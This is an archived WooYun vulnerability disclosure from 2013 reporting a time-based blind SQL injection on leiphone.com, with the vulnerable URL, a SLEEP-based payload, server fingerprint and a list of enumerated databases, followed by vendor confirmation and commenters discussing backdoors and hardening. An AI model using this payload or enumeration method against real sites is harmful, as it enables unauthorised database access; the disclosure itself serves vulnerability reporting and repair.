当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-028541

漏洞标题：雷锋网SQL注入漏洞

相关厂商：雷锋网

漏洞作者： lucky

提交时间：2013-07-11 13:07

修复时间：2013-08-25 13:08

公开时间：2013-08-25 13:08

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-07-11： 细节已通知厂商并且等待厂商处理中
2013-07-11： 厂商已经确认，细节仅向厂商公开
2013-07-21： 细节向核心白帽子及相关领域专家公开
2013-07-31： 细节向普通白帽子公开
2013-08-10： 细节向实习白帽子公开
2013-08-25： 细节向公众公开

简要描述：

详细说明：

www.leiphone.com/v.php?a=1&pt=author&r=http://www.leiphone.com/&t=web


---
Place: GET
Parameter: a
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: a=1 AND SLEEP(5)&pt=author&r=http://www.leiphone.com/&t=web
---
[00:11:38] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.17
back-end DBMS: MySQL 5.0.11


available databases [20]:
[*] 17daren
[*] 17daren_history
[*] 18touch
[*] 91chai
[*] blog17daren
[*] chaohaowan
[*] coser
[*] huaqiangbei
[*] igao7
[*] information_schema
[*] leiphone
[*] mtqa
[*] mysql
[*] performance_schema
[*] sitevisitlog
[*] temp1
[*] test
[*] thronez8_91chai
[*] wankr
[*] weixin

漏洞证明：

修复方案：

版权声明：转载请注明来源 lucky@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2013-07-11 14:46

厂商回复：

已修复。十分感谢。

最新状态：

暂无

漏洞评价：

评论

  1. 2013-07-11 13:17 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    注入？

  2. 2013-07-11 13:23 | 老黑 ( 普通白帽子 | Rank:161 漏洞数:61 | 最爱红颜不老。)

    雷锋网有的忙了额

  3. 2013-07-11 14:00 | 基佬库克 ( 实习白帽子 | Rank:75 漏洞数:15 | 简介什么的是直接爆菊吧..)

    wp的..我想到的只有插件,提权,和一些主题(话说主题的漏洞我只是听说有..)

  4. 2013-07-11 14:10 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    @基佬库克 应该也就是这些吧。。。。。

  5. 2013-07-11 14:30 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @基佬库克 @Coody 你们报漏洞也要说哪里的漏洞啊 那个后门让他们惆怅了半天

  6. 2013-07-11 14:32 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    @xsser 那个洞洞我也很奇怪，洞主是肿么找到的后门呢？？？

  7. 2013-07-11 14:50 | 雷锋网(乌云厂商)

    @基佬库克 这个是我自己弄的一些记录log的零散页面造成的。@xsser @Coody 之前我对网站的目录权限设置得不严谨，造成可以很轻易地植入。后来改了权限但是还是会被侵入，所以我想知道细节以便处理。大家如果有时间的话，也请帮忙看看，非常感谢。

  8. 2013-07-11 14:55 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    @雷锋网 先自查网站目录中是否存在后门

  9. 2013-07-11 15:00 | 雷锋网(乌云厂商)

    @Coody 我扫过几遍了目前还没发现但是不敢确定是否还有遗漏

  10. 2013-07-11 15:03 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    @雷锋网 那就在观察观察吧。。。。

  11. 2013-07-12 23:24 | 老黑 ( 普通白帽子 | Rank:161 漏洞数:61 | 最爱红颜不老。)

    @雷锋网 PHP后门比较难查，通过日志比较好

  12. 2013-07-12 23:28 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @老黑 500块包解决 请联系

  13. 2013-07-12 23:30 | 老黑 ( 普通白帽子 | Rank:161 漏洞数:61 | 最爱红颜不老。)

    @xsser 话说我自己重要的站 都设置不可写 一些用户上传用到文件夹,都设置不可执行,这样 应该比较难了吧

  14. 2013-07-12 23:54 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @老黑 据说有的系统是直接拿shell的

  15. 2013-08-10 21:51 | Beyond ( 路人 | Rank:0 漏洞数:1 | xxs)

    这个猜起来 时间不断吧